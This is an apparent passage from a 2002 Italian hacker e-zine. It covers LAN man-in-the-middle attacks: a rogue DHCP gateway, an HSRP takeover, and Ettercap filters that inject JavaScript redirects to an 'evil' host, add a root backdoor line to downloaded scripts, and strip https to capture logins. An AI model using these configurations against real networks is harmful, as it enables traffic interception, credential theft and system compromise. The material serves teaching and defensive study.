| ne facciano richiesta, tuttavia questo sistema ha dei pro e dei contro. |
| Se da una parte il protocollo DHCP contribuisce ad alleggerire il lavoro |
| degli amministratori nella configurazione delle macchine che popolano la |
| rete dall'altra mette a repentaglio la sicurezza degli host che si |
| avvalgono di tale servizio. |
| In particolare manca qualsiasi procedura di autenticazione che attesti |
| l'identità del server che ci risponde, non c'è alcun meccanismo che ci |
| permetta di verificare la natura delle informazioni ricevute. |
| La presenza di un server DHCP non autorizzato può compromettere la |
| sicurezza degli host che si avvalgono di tale servizio per determinare |
| parametri sensibili quali il default gateway o il dns server. |
| Segue un breve elenco dei parametri di configurazione che possono essere |
| veicolati in un messaggio DHCP, l'elenco è tratto dall'RFC 2131: |
| |
| |
| IP-layer_parameters,_per_host:_ |
| |
| Be a router on/off HRC 3.1 |
| Non-local source routing on/off HRC 3.3.5 |
| Policy filters for |
| non-local source routing (list) HRC 3.3.5 |
| Maximum reassembly size integer HRC 3.3.2 |
| Default TTL integer HRC 3.2.1.7 |
| PMTU aging timeout integer MTU 6.6 |
| MTU plateau table (list) MTU 7 |
| IP-layer_parameters,_per_interface:_ |
| IP address (address) HRC 3.3.1.6 |
| Subnet mask (address mask) HRC 3.3.1.6 |
| MTU integer HRC 3.3.3 |
| All-subnets-MTU on/off HRC 3.3.3 |
| Broadcast address flavor 0x00000000/0xffffffff HRC 3.3.6 |
| Perform mask discovery on/off HRC 3.2.2.9 |
| Be a mask supplier on/off HRC 3.2.2.9 |
| Perform router discovery on/off RD 5.1 |
| Router solicitation address (address) RD 5.1 |
| Default routers, list of: |
| router address (address) HRC 3.3.1.6 |
| preference level integer HRC 3.3.1.6 |
| Static routes, list of: |
| destination (host/subnet/net) HRC 3.3.1.2 |
| destination mask (address mask) HRC 3.3.1.2 |
| type-of-service integer HRC 3.3.1.2 |
| first-hop router (address) HRC 3.3.1.2 |
| ignore redirects on/off HRC 3.3.1.2 |
| PMTU integer MTU 6.6 |
| perform PMTU discovery on/off MTU 6.6 |
| |
| Link-layer_parameters,_per_interface:_ |
| Trailers on/off HRC 2.3.1 |
| ARP cache timeout integer HRC 2.3.2.1 |
| Ethernet encapsulation (RFC 894/RFC 1042) HRC 2.3.3 |
| |
| TCP_parameters,_per_host:_ |
| TTL integer HRC 4.2.2.19 |
| Keep-alive interval integer HRC 4.2.3.6 |
| Keep-alive data size 0/1 HRC 4.2.3.6 |
| |
| |
| Nell'esempio che segue andremo ad alterare il valore relativo al default |
| router di un host che utilizzi DHCP per ricavare tale parametro di |
| configurazione. |
| |
| Configuriamo un demone dhcpd sulla nostra macchina, il file di |
| configurazione potrebbe essere simile al seguente: |
| |
| # vi /etc/dhcpd.conf |
| |
| # dhcpd.conf |
| # |
| # Configuration file for ISC dhcpd (see 'man dhcpd.conf') |
| # |
| |
| subnet 192.168.1.0 netmask 255.255.255.0 { |
| range 192.168.1.30 192.168.1.250; |
| option routers 192.168.1.4; |
| } |
| |
| L'opzione routers serve ad indicare il default router di cui dovranno |
| servirsi gli host che interrogheranno il nostro demone dhcp, in questo |
| caso l'IP del default router è stato settato pari a quello del nostro |
| host. Non ci resta che avviare il demone e restare a guardare. |
| |
| # dhcpd |
| Internet Software Consortium DHCP Server 2.0pl5 |
| Copyright 1995, 1996, 1997, 1998, 1999 The Internet Software Consortium. |
| All rights reserved. |
| |
| Please contribute if you find this software useful. |
| For info, please visit http://www.isc.org/dhcp-contrib.html |
| |
| Listening on Socket/eth0/192.168.1.0 |
| Sending on Socket/eth0/192.168.1.0 |
| |
| |
| In questo modo tutto il traffico diretto verso una postazione remota |
| transiterà attraverso di noi, saremo così in grado di manipolare ogni |
| singolo pacchetto e alterare qualsiasi flusso di dati ci attraversi. |
| |
| |
| 2.5 HSRP e VRRP |
| |
| Hot Standby Router Protocol (HSRP) rappresenta la soluzione proprietaria |
| proposta da Cisco per gestire la ridondanza dei gateway all'interno di |
| una rete locale. Tale protocollo permette di eliminare il single point |
| of failure rappresentato dal dispositivo che permette l'interconnessione |
| della rete privata all'Internet pubblica. |
| |
| Usando HSRP un insieme di router possono interagire al fine di operare |
| come un singolo router virtuale, in tale architettura un solo router |
| alla volta svolge la mansione di instradatore per la rete privata |
| (active router). |
| Un altro router del gruppo è eletto come standby router ovvero il router |
| che sostituirà l'active router in caso di malfunzionamento. |
| L'active router e lo standby router sono nominati tali durante un |
| processo iniziale di elezione che prevede lo scambio di messaggi Hello |
| al fine di determinare i dispositivi il cui valore di priorità risulti |
| essere il più elevato. |
| Una volta terminato il processo di elezione l'active e lo standby router |
| continuano a inviare messaggi di Hello con regolarità, la mancata |
| ricezione di messaggi di Hello per un tempo superiore al valore Holdtime |
| stabilito in precedenza sono da ricondursi al malfunzionamento del |
| dispositivo che nel caso di un active router verrà sostituito dalla |
| standby router evitando il protrarsi del problema. |
| Nel caso in cui il malfunzionamento sia riconducibile allo standby |
| router o quest'ultimo sia stato eletto ad active router il processo di |
| elezione provvederà a delegare il roulo di standby ad un altro |
| dispositivo in base alla priorità dimostrata. |
| Il protocollo HSRP si serve del protocollo UDP per veicolare le proprie |
| informazioni e utilizza la porta 1985, la struttura del pacchetto si |
| presenta nel modo seguente, lo schema è tratto dall'RFC 2281: |
| |
| |
| 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Version | Op Code | State | Hellotime | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Holdtime | Priority | Group | Reserved | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Authentication Data | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Authentication Data | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| | Virtual IP Address | |
| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
| |
| |
| Mi limiterò a descrivere i campi che ritengo più significativi: |
| |
| - Op Code: indica il tipo di messaggio veicolato dal pacchetto, questo |
| campo può assumere tre possibili valori: |
| |
| 0 - Hello, viene inviato da tutti i router durante il processo di |
| elezione per permettere l'elezione dell'active e dello standby |
| router. Successivamente vengono inviati ad intervalli regolari |
| dall'active e dallo standby router come garanzia del loro corretto |
| funzionamento, la mancata emissione di Hello message da parte di |
| un dispositivo per un tempo prolungato comporterà la sua |
| sostituzione; |
| |
| 1 - Coup, viene generato da un dispositivo per forzare la propria |
| elezione ad active router; |
| |
| 2 - Resign, viene generato dall'active router nel caso esso desideri |
| cedere il proprio roulo di router attivo ad un altro dispositivo. |
| |
| - State: indica lo stato in cui il dispositivo si trova (es Active, |
| Standby, etc); |
| |
| - Hellotime: indica la frequenza con cui vengono emessi i messaggi di |
| Hello dal dispositivo, di default tale valore è posto pari a tre |
| secondi; |
| |
| - Holdtime: indica il tempo di validità di ogni messaggio di Hello |
| emesso dal dispositivo, tale campo deve assumere un valore grande |
| almeno tre volte quello imposto da Hellotime in modo tale da mitigare |
| effetti indesiderati dovuti ad un eventuale packet loss; |
| |
| - Priority: rappresenta il parametro su cui avviene l'elezione dell' |
| active e standby router, il dispositivo con il valore di priorità |
| maggiore sarà eletto come active; |
| |
| - Virtual IP Address: rappresenta l'indirizzo IP unico utilizzato da |
| tutti i dispositivi che prendono parte al gruppo HSRP. |
| |
| Ora che conosciamo le basi che regolano il funzionamento del protocollo |
| HSRP possiamo passare ad analizzarne i punti deboli che possono essere |
| sfruttati da un attaccante per realizzare una condizione di man in the |
| middle. |
| |
| Mi limiterò ad analizzare i pacchetti generati dal tool hsrp in mancanza |
| di un dispositivo della Cisco su cui effettuare i miei test :) |
| Dall'RFC 2281 possiamo ricavare le informazioni di cui abbiamo bisogno: |
| |
| "Preemption capability |
| |
| If a router has higher priority than the active router and |
| preemption is configured, it MAY take over as the active router |
| using a Coup message." |
| |
| Il tool hsrp, come avremo modo di vedere, segue tali indicazioni per |
| realizzare un take over sul protocollo HSRP: |
| |
| # ./hsrp -d 224.0.0.2 -v 192.168.1.1 -a cisco -g 1 -i eth0 |
| |
| # tcpdump -nX |
| tcpdump: listening on eth0 |
| 09:34:57.381440 192.168.1.4.1985 > 224.0.0.2.1985: udp 20 |
| 0x0000 4500 0030 176e 0000 8011 81a0 c0a8 0104 E..0.n.......... |
| 0x0010 e000 0002 07c1 07c1 001c 0000 0001 1003 ................ |
| 0x0020 ffff 0100 6369 7363 6f00 0000 c0a8 0101 ....cisco....... |
| 09:34:57.382360 192.168.1.4.1985 > 224.0.0.2.1985: udp 20 |
| 0x0000 4500 0030 176f 0000 8011 819f c0a8 0104 E..0.o.......... |
| 0x0010 e000 0002 07c1 07c1 001c 0000 0000 1003 ................ |
| 0x0020 ffff 0100 6369 7363 6f00 0000 c0a8 0101 ....cisco....... |
| |
| 2 packets received by filter |
| 0 packets dropped by kernel |
| |
| Quelli che seguono sono i dati così come appaiono una volta eliminati |
| gli header IP e UDP: |
| |
| 0001 1003 ffff 0100 6369 7363 6f00 0000 c0a8 0101 |
| |
| Il primo byte rappresenta il campo Version del pacchetto che vale 00, |
| segue il campo Op Code 01 che sta ad indicare un messaggio di tipo Coup |
| che viene generato da un dispositivo per forzare la propria elezione ad |
| active router. |
| Il campo State vale 10 hex che tradotto in decimale significa 16 e sta |
| ad indicare lo stato Active, il byte successivo vale 03 e sta ad |
| indicare un Hellotime di tre secondi. |
| Il byte ff che segue si riferisce invece all'Holdtime che risulta |
| impostato al valore massimo consentito dal protocollo, tale valore |
| corrisponde ad un tempo di 255 secondi. |
| Un valore così elevato di Holdtime contribuisce al mantenimento della |
| nostra posizione di active router anche in presenza di un ritardo nella |
| generazione dei messaggi Helo alla sola condizione che tale ritardo non |
| si protragga oltre al limite di Holdtime. |
| Il campo Priority è impostato al valore massimo consentito (ff) al fine |
| di permettere lo scavalcamento dell'attuale active router. |
| I due byte che seguono valgono 01 e 00 e si riferiscono rispettivamente |
| ai campi Group e Reserved che risulta al momento non utilizzato. |
| Le due word (1 word = 4 byte) che seguono costituiscono il campo |
| Authentication Data che come da specifiche è impostato a: |
| |
| 6369 7363 6f00 0000 |
| |
| In ASCII corrisponde alla stringa "cisco" paddata da una sequenza di |
| zeri finali. |
| L'ultima word si riferisce al Virtual IP Address che ne nostro caso vale |
| c0 a8 01 01 che tradotto in decimale corrisponde a 192.168.1.1 |
| |
| Ora siamo stati eletti ad active router e possiamo usufruire di tale |
| posizione per condurre qualsiasi tipo di operazione sui dati che ci |
| attraversano, tale situazione prende il nome di man in the middle. |
| |
| Virtual Router Redundancy Protocol (VRRP) è invece lo standard proposto |
| dall'IETF che rappresenta l'alternativa ufficiale al protocollo |
| proprietario HSRP di Cisco. |
| Il protocollo VRRP è caratterizzato da un processo di elezione il cui |
| scopo è delineare un master router tra un gruppo di router che |
| partecipano al protocollo. |
| Il master router è scelto sulla base di un livello di priorità che viene |
| di norma assegnato ad ogni dispositivo in base alla sua affidabilità, ad |
| esso viene delegato il compito di instradatore per la rete. |
| A differenza di HSRP il router delegato ad una eventuale sostituzione |
| del master non viene eletto a priori. |
| Lo stesso master router deve preoccuparsi di mandare messaggi VRRP |
| Advertisement all'indirizzo multicast 224.0.0.18 assegnato al VRRP in |
| modo tale da consentirne la ricezione da parte di tutti i sistemi che |
| prendono parte al protocollo, tale messaggio funge da garanzia di |
| corretto funzionamento e la mancata ricezione di tali messaggio per un |
| tempo prolungato da vita ad un nuovo processo di elezione. |
| Tuttavia il malfunzionamento del dispositivo che funge da master non |
| rappresenta la sola condizione in cui esso viene sostituito, questo lo |
| si deduce dal seguente passo tratto dall'RFC 2338: |
| |
| |
| - If an ADVERTISEMENT is received, then: |
| |
| [snip] |
| |
| If the Priority in the ADVERTISEMENT is greater than the |
| local Priority, |
| or |
| If the Priority in the ADVERTISEMENT is equal to the local |
| Priority and the primary IP Address of the sender is greater |
| than the local primary IP Address, then: |
| |
| o Cancel Adver_Timer |
| o Set Master_Down_Timer to Master_Down_Interval |
| o Transition to the {Backup} state |
| |
| |
| |
| L'opzione di preemption (letteralmente prerilascio) permette ad un |
| backup router che partecipi al protocollo VRRP lo scavalcamento del |
| master router in presenza di un valore di priorità superiore. |
| Ad un attaccante basterà inviare un messaggio VRRP Advertisement con una |
| priorità maggiore al master router, nel caso in cui al master router sia |
| stato assegnato il valore di priorità massimo (255) la priorità sarà |
| valutata sulla base dell'indirizzo IP con il valore più elevato. |
| Operando in tale maniera un utente malizioso è in grado di prendere il |
| posto di instradatore per la rete e mirare a compromettere l'integrità |
| dei dati trasmessi. |
| |
| |
| 3. Risorse |
| |
| TCP/IP Illustrated Volume 1, W. Richard Stevens |
| RFC 792, RFC 1256, RFC 2281, RFC 2338, RFC 2131 |
| http://ettercap.sourceforge.net/papers/ |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ HACKiNG #08 - 01/11/2002 |
| C0DE iNJECTi0N [eazy] 0x07/0x1A |
+--------------------------------------------------------------------------+
| |
| |
| 1. Introduzione |
| |
| 2. Man In The Middle |
| |
| 3. Code Injection |
| 3.1 Ettercap |
| 3.2 JavaScript and HTML injection |
| 3.3 Trojanizzare on-fly |
| 3.4 SSL/TLS Bypass |
| |
| |
| |
| |
| 1. Introduzione |
| |
| Il termine code injection sta ad indicare una tecnica con la quale un |
| attacker è in grado di iniettare codice arbitrario all'interno di un |
| flusso di dati scambiato tra due host al fine di alterarne il contenuto. |
| Molto spesso il codice iniettato ha la facoltà di compromettere una |
| delle due stazioni che partecipano alla comunicazione. |
| |
| 2. Man In The Middle |
| |
| Condizione necessaria affinchè l'iniezione di codice abbia successo è |
| quella di trovarsi nel mezzo della connessione ovvero l'host dal quale |
| proviene l'attacco deve trovarsi in una posizione privilegiata che gli |
| permetta di ricevere e forwardare i pacchetti che gli giungono da |
| entrambi i capi della sessione. |
| Mi limiterò a fornire un breve sunto di quanto è necessario sapere in |
| merito al man in the middle fornendo dei collegamenti ad altri testi che |
| costituiscono un eventuale approfondimento: |
| |
| - ARP poisoning: è la tecnica più comunemente utilizzata per ottenere |
| una situazione di man in the middle, prevede l'invio da parte dell' |
| attacker di ARP reply non sollecitate verso l'host che si desidera |
| avvelenare; |
| Per approfondimenti vedi sezione 5.4.1 del README file di Ettercap |
| reperibile all'URL http://ettercap.sourceforge.net; |
| |
| - DNS spoofing: un po' meno utilizzata, un attacker è in grado di |
| interferire nel processo di risoluzione dei nomi host forgiando |
| delle reply fasulle e inoltrandole al client prima che queste giungano |
| dal server DNS. |
| Le reply fasulle saranno interpretate dal client al posto di quelle |
| legittime provenienti dal server DNS in quanto giunte a destinazione |
| per prime, l'IP address contenuto in tali reply corrisponderà a quello |
| di un host sotto il controllo dell'attacker. |
| Per approfondimenti vedi articolo "DNS Spoofing Attack" comparso sul |
| numero 6 di OndaQuadra; |
| |
| - Route mangling: la manipolazione delle tabelle di routing di un host |
| permette di influenzarne l'instradamento dei pacchetti al fine di |
| trovarsi nel mezzo della sessione. |
| Per approfondimenti vedi articolo "IP Routing Attack" sul numero 8 di |
| OndaQuadra; |
| |
| Vi sarebbero altre tecniche che permettono di realizzare un attacco man |
| in the middle che sono state omesse per semplicità in quanto la loro |
| trattazione non rientra tra le tematiche prese in esame. |
| Per il resto dell'articolo NON mi soffermerò sulle tecniche di man in |
| the middle, lascio pertanto al lettore il compito di approfondire |
| l'argomento sulla base dei riferimenti forniti. |
| |
| |
| 3. Code Injection |
| |
| Ora che sapete tutto (o quasi) sul man in the middle possiamo passare al |
| tema principale dell'articolo, ovvero l'iniezione di codice verso una |
| stazione remota. |
| Trovandoci nel mezzo della comunicazione siamo in gradi di alterare i |
| dati scambiati tra l'applicazione server e client al fine di inserire |
| del codice in grado di compromettere uno dei due lati della sessione. |
| Lo scopo dell'articolo è quello di illustrare i pericoli derivanti da |
| una tale manipolazione guidando il lettore attraverso alcuni semplici |
| esempi in cui tale tecnica trova applicazione. |
| |
| 3.1 Ettercap |
| |
| Ettercap è il tool di cui mi avvarrò per mettere in pratica quanto mi |
| appresto ad illustrare, il suo compito è quello di: |
| |
| - Provvedere alla realizzazione di una condizione di man in the middle |
| tra i due host coinvolti nella comunicazione; |
| |
| - Intercettare i pacchetti che giungono a noi in seguito alla condizione |
| di man in the middle e modificarne il payload(1) secondo le regole da |
| noi stabilite, avendo cura di mantenere sincronizzata la sessione TCP |
| tramite la modifica on-fly dei campi sequence number e acknowledgment. |
| Provvedere inoltre a ricalcolare i campi del pacchetto che risentono |
| della modifica del payload (es. checksum) e reinstradare il tutto al |
| legittimo destinatario. |
| |
| In questo modo i due host continuano a comunicare ma i pacchetti che |
| giungono loro risultano modificati a nostro piacimento. |
| |
| (1) payload: l'insieme di bit che non fanno parte dell'intestazione che |
| verranno consegnati all'utente finale destinatario del pacchetto, è |
| anche chiamato il campo dati che contiene le informazioni destinate |
| al livello superiore. |
| |
| 3.2 JavaScript and HTML injection |
| |
| E' possibile iniettare qualsiasi Javascipt o tag HTML malizioso all' |
| interno delle pagine web che il client della vittima si appresta a |
| visualizzare causando l'esecuzione di codice potenzialmente pericoloso. |
| |
| Tale operazione può essere eseguita on-fly da Ettercap che è in grado di |
| sostituire le occorrenze di una stringa all'interno dei pacchetti in |
| transito (in seguito al man in the middle) con del codice da noi |
| realizzato. Tale operazione viene condotta secondo le modalità descritte |
| nel paragrafo precedente. |
| |
| Vediamo un esempio di come sia possibile per un utente malizioso |
| condurre un simile attacco: |
| |
| # ettercap |
| |
| ?????????????????????????? ettercap 0.6.3.1 ???????????????????????????? |
| ? |
| ? |
| ???????????????????????????????????????????????????????????????????????? |
| ????????? 5 hosts in this LAN (192.168.1.4 : 255.255.255.0) ?????????? |
| ? 1) 192.168.1.4 1) 192.168.1.4 |
| ? 2) 192.168.1.1 2) 192.168.1.1 |
| ? 3) 192.168.1.2 3) 192.168.1.2 |
| ? 4) 192.168.1.3 4) 192.168.1.3 |
| ? 5) 192.168.1.35 5) 192.168.1.35 |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ???????????????????????????????????????????????????????????????????????? |
| |
| Una volta avviato il tool potete scegliere i due capi della connessione |
| di cui volete catturare la comunicazione e in seguito alterarla, potete |
| selezionare source e destination utilizzando l'interfaccia a cursori. |
| Se uno dei due host impegnati nella comunicazione si dovesse rivelare un |
| sistema remoto non dovrete far altro che selezionare come destinazione |
| il vostro gateway. |
| A questo punto potete procedere al poisoning della cache ARP dei due |
| host premendo il tasto A: |
| |
| |
| ?????????????????????????? ettercap 0.6.3.1 ???????????????????????????? |
| ?SOURCE: 192.168.1.35 <??? Filter: OFF |
| ? ?? doppleganger ? illithid (ARP Based) ? ettercap |
| ?DEST : 192.168.1.1 <??? Active Dissector: ON |
| ???????????????????????????????????????????????????????????????????????? |
| ????????? 5 hosts in this LAN (192.168.1.4 : 255.255.255.0) ?????????? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ?
|
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ???????????????????????????????????????????????????????????????????????? |
| |
| Ora ci troviamo nel mezzo, possiamo iniziare a iniettare codice. |
| Per far ciò dobbiamo stabilire dei filtri che ci permettono di indicare |
| ad Ettercap quali sostituzioni/modifiche desideriamo apportare al |
| contenuto dei pacchetti che ci attraverseranno. |
| Premendo il tasto F accediamo al menu dei filtri che si presenta così: |
| |
| |
| ?????????????????????????? ettercap 0.6.3.1 ???????????????????????????? |
| ?SOURCE: 192.168.1.35 <??? Filter: OFF |
| ? ?? doppleganger ? illithid (ARP Based) ? ettercap |
| ?DEST : 192.168.1.1 <??? Active Dissector: ON |
| ???????????????????????????????????????????????????????????????????????? |
| ????????? 5 hosts in this LAN (192.168.1.4 : 255.255.255.0) ?????????? |
| ? ??Filters :????????????????????????????????????????????????????? |
| ? |
| ? |
| ? |
| ? |
| ? ? S] Filters on Source : OFF W] Edit filter chain |
| ? |
| ? ? D] Filters on Dest : OFF E] Edit filter chain |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ? |
| ???????????????????????????????????????????????????????????????????????? |
| |
| Premendo il tasto E possiamo editare i filtri sull'host destinazione, |
| ovvero inseriamo un controllo sui dati in ingresso sul client. |
| Il filtro può ad esempio essere configurato come segue: |
| |
| Proto : TCP |
| Source port : 80 |
| Dest port : 0 |
| Search : <html> |
| Action (Drop/Replace/Log) : R |
| Replace: <html>\r<script language="JavaScript">\ralert('hi!')\r</script> |
| |
| Dopo aver premuto INVIO per confermare le modifiche, una volta tornati |
| alla finestra dei filtri premere il tasto D per attivare il filtro sul |
| destinatario, la voce "Filters on Dest" dovrà apparire così: |
| |
| D] Filters on Dest : ON |
| |
| In questo modo Ettercap intercetta ogni sessione TCP che provenga dalla |
| porta 80 dell'host destinatario (il web server) diretta a qualsiasi |
| porta del client e provvede a sostituire ogni occorrenza della stringa |
| <html> con la stessa stringa seguita dal nostro javascript che verrà |
| eseguito dalla vittima. |
| Il carattere \r ha la funzione di decretare il punto in cui il codice va |
| a capo, ovvero: |
| |
| <html>\r<script language="JavaScript">\ralert('hi!')\r</script> |
| |
| equivale a... |
| |
| <html> |
| <script language="JavaScript"> |
| alert('hi!') |
| </script> |
| |
| Il codice del javascript in questione non svolge alcuna azione |
| particolare se non quella di mostrare una finestra di alert con il testo |
| "hi!" ed è stato utilizzato a titolo di esempio. |
| Alcuni esempi più significativi sono rappresentati dall'iniezione dei |
| seguenti codici: |
| |
| <script language="JavaScript"> |
| window.open('http://www.evil.haxor.com') |
| </script> |
| |
| oppure |
| |
| <meta http-equiv="Refresh" content="1; URL=http://www.evil.haxor.com"> |
| |
| Entrambi causano l'apertura automatica di una pagina potenzialmente |
| ostile che potrebbe portare all'esecuzione di codice da parte del |
| browser della vittima (vedi exploits per le varie versioni di Internet |
| Explorer 5.x e 6). |
| |
| |
| 3.3 Trojanizzare on-fly |
| |
| Una diretta conseguenza dell'iniezione di codice è la possibilità di |
| alterare il contenuto di programmi sotto forma di script o codice |
| sorgente al file di introdurre al loro interno eventuali backdoor. |
| Tale operazione risulta piuttosto semplice nel caso di file che si |
| presentino sotto forma di testo semplice in quanto più facilmente |
| soggetti ad eventuali pattern matching e sostituzioni. |
| Ancora una volta ci serviremo dei filtri messi a nostra disposizione da |
| Ettercap per simulare un attacco mirato alla trojanizzazione on-fly di |
| uno shell script scaricato dalla vittima: |
| |
| Proto : TCP |
| Source port : 80 |
| Dest port : 0 |
| Search : !/bin/bash |
| Action (Drop/Replace/Log) : R |
| Replace: !/bin/bash\r\necho r00t::0:0::/root:/bin/sh >> /etc/passwd\n |
| |
| Questo filtro posto sul destinatario provvede a sostituire al volo le |
| occorrenze della stringa !/bin/bash, che sta ad indicare l'interprete |
| dello script, con la stessa stringa seguita dall'aggiunta di una nuova |
| riga che al momento dell'esecuzione dello script provvederà ad inserire |
| una backdoor nel sistema. |
| La stessa tecnica è applicabile a qualsiasi altro script, la |
| sostituzione può essere fatta sulla base di un valore che si presenta |
| costante come ad esempio la riga relativa all'interprete: |
| |
| #!/bin/bash |
| #!/bin/sh |
| #!/usr/bin/perl |
| |
| Un sorgente C rende più difficoltosa tale operazione a causa dell' |
| intrinseca complessità e imprevedibilità del linguaggio, la conoscenza a |
| priori del contenuto del file che la vittima si appresta a scaricare può |
| facilitare l'attaccante nel forgiare delle regole di sostituzione che |
| gli |
| garantiscano una maggiore probabilità di successo. |
| |
| |
| 3.4 SSL/TLS Bypass |
| |
| Il protocollo SSL/TLS offre un livello trasporto sicuro e protegge la |
| comunicazione tra due host per mezzo di meccanismi crittografici |
| garantendo la confidenzialità e l'integrità dei dati scambiati, tale |
| protocollo si avvale di un algoritmo di crittografia ibrido ovvero |
| utilizza un algoritmo asimmetrico per verificare l'identità dei due |
| partecipanti alla comunicazione e per lo scambio della chiave di |
| sessione che verrà utilizzata per il resto della comunicazione per |
| crittare la sessione con un algoritmo simmetrico. |
| Per maggiori informazioni sul protocollo SSL/TLS è possibile fare |
| riferimento all'articolo "Hack Cryptographic Tunnels" comparso sul |
| numero 7 di OndaQuadra. |
| |
| Ora vedremo come si può bypassare la protezione imposta da un server web |
| che utilizzi SSL per proteggere le sessioni dei clienti da un attacker |
| che desideri sniffare/modificare i dati che vi transitano. |
| Molti siti offrono la possibilità di effettuare il login ai propri |
| servizi in maniera sicura per mezzo di SSL (es. webmail, home banking). |
| Tuttavia questi si limitano a trasmettere attraverso un tunnel |
| crittografico le SOLE credenziali d'accesso e lascino le pagine HTML |
| trasmesse al client in balia di eventuali malintenzionati che hanno la |
| possibilità di modificarle prima che giungano al browser della vittima. |
| In questo modo è possibile modificare il codice delle pagine al fine di |
| forzare la trasmissione in chiaro delle credenziali da parte del client. |
| |
| Vediamo un esempio, osservando attentamente il codice HTML contenuto |
| nella pagina di login di Hotmail possiamo notare diversi riferimenti al |
| protocollo SSL (https): |
| |
| <form name="passwordform" |
| action="https://loginnet.passport.com/ppsecure/post.srf" |
| method="POST" target="_top" > |
| |
| oppure ancora... |
| |
| <script language="JavaScript"> |
| <!-- |
| var defAct = document.passwordform.action; |
| function SelectChanger(s) |
| { |
| var i = s.selectedIndex; |
| if (i == -1) |
| { |
| return false; |
| } |
| if(i == 0) |
| { |
| document.passwordform.action = |
| "https://loginnet.passport.com/ppsecure/post.srf"; |
| return true; |
| } |
| document.passwordform.action = |
| "https://login.msnia.passport.com/IT/ppsecure/post.asp"; |
| return true; |
| } |
| //--> |
| </script> |
| |
| Tutto ciò che un attacker deve fare per garantirsi le credenziali dell' |
| utente che accede al servizio è ricorrere alla tecnica di code injection |
| e sostituire on-fly nelle pagine HTML tutte le occorrenze della stringa |
| https con http in modo tale da costringere il browser dell'utente ad |
| eseguire il login passando username e password in chiaro sulla rete. |
| Il filtro sul destinatario da settare su Ettercap dovrà essere di questo |
| tipo: |
| |
| Proto : TCP |
| Source port : 80 |
| Dest port : 0 |
| Search : https |
| Action (Drop/Replace/Log) : R |
| Replace: http |
| |
| |
| Una volta che la vittima avrà trasmesso le proprie credenziali sarà |
| necessario scorrere le voci che compaiono sull'interfaccia a cursori |
| fino a trovare la voce relativa al login, Ettercap scrive in basso a |
| sinistra USER e PASS collezionate: |
| |
| |
| ?????????????????????????? ettercap 0.6.3.1 ???????????????????????????? |
| ?SOURCE: 192.168.1.35 <??? Filter: ON |
| ? ?? doppleganger ? illithid (ARP Based) ? ettercap |
| ?DEST : 192.168.1.1 <??? Active Dissector: ON |
| ???????????????????????????????????????????????????????????????????????? |
| ????????? 5 hosts in this LAN (192.168.1.4 : 255.255.255.0) ?????????? |
| ? 1) 192.168.1.35:1047 <--> 192.168.1.1:53 ? UDP ? domain |
| ? 2) 192.168.1.35:1048 <--> 66.35.229.101:80 ? CLOSED ? www |
| ? 3) 192.168.1.35:1049 <--> 192.168.1.1:53 ? UDP ? domain |
| ? 4) 192.168.1.35:1050 <--> 217.18.105.47:80 ? silent ? www |
| ? 5) 192.168.1.35:1051 <--> 192.168.1.1:53 ? UDP ? domain |
| ? 6) 192.168.1.35:1052 <--> 64.4.43.7:80 ? KILLED ? www |
| ? 7) 192.168.1.35:1053 <--> 192.168.1.1:53 ? UDP ? domain |
| ? 8) 192.168.1.35:1054 <--> 64.4.43.7:80 ? CLOSED ? www |
| ? 9) 192.168.1.35:1055 <--> 192.168.1.1:53 ? UDP ? domain |
| ? 10) 192.168.1.35:1056 <--> 207.68.177.124:80 ? CLOSED ? www |
| ? 11) 192.168.1.35:1057 <--> 66.35.229.101:80 ? CLOSED ? www |
| ? 12) 192.168.1.35:1058 <--> 192.168.1.1:53 ? UDP ? domain |
| ? 13) 192.168.1.35:1059 <--> 65.54.225.241:80 ? CLOSED ? www |
| ? 14) 192.168.1.35:1060 <--> 64.4.43.7:80 ? CLOSED ? www |
| ? 15) 192.168.1.35:1061 <--> 64.4.43.7:80 ? CLOSED ? www |
| ???????????????????????????????????????????????????????????????????????? |
| ?? Your IP: 192.168.1.4 MAC: 00:00:00:00:00:00 Iface: eth0 Link: HUB ??? |
| ? USER: isi |
| ? PASS: secret http://lc1.law13.hotmail.passport.com/cgi-bin/logi-> |
| ???????????????????????????????????????????????????????????????????????? |
| |
| La stessa debolezza è stata riscontrata in siti che offrono servizi ben |
| più delicati come ad esempio home banking o trading online, gli stessi |
| sono stati avvisati del problema tuttavia attualmente non è ancora stato |
| corretto per tanto ho preferito occultarne l'identità. |
| Nella home page compare un form che consente il login degli utenti e |
| tale pagina viene trasmessa al browser in maniera non sicura e risulta |
| pertanto suscettibile ad alterazioni che possono modificare la procedura |
| di login forzando il client alla trasmissione in chiaro delle |
| credenziali utente. |
| |
| |
| ?????????????????????????? ettercap 0.6.3.1 ???????????????????????????? |
| ?SOURCE: 192.168.1.35 <??? Filter: ON |
| ? ?? doppleganger ? illithid (ARP Based) ? ettercap |
| ?DEST : 192.168.1.1 <??? Active Dissector: ON |
| ???????????????????????????????????????????????????????????????????????? |
| ????????? 5 hosts in this LAN (192.168.1.4 : 255.255.255.0) ?????????? |
| ? 1) 192.168.1.35:1064 <--> 192.168.1.1:53 ? UDP ? domain |
| ? 2) 192.168.1.35:1065 <--> 192.168.1.1:53 ? UDP ? domain |
| ? 3) 192.168.1.35:1066 <--> xxx.xxx.xxx.xxx:80 ? CLOSED ? www |
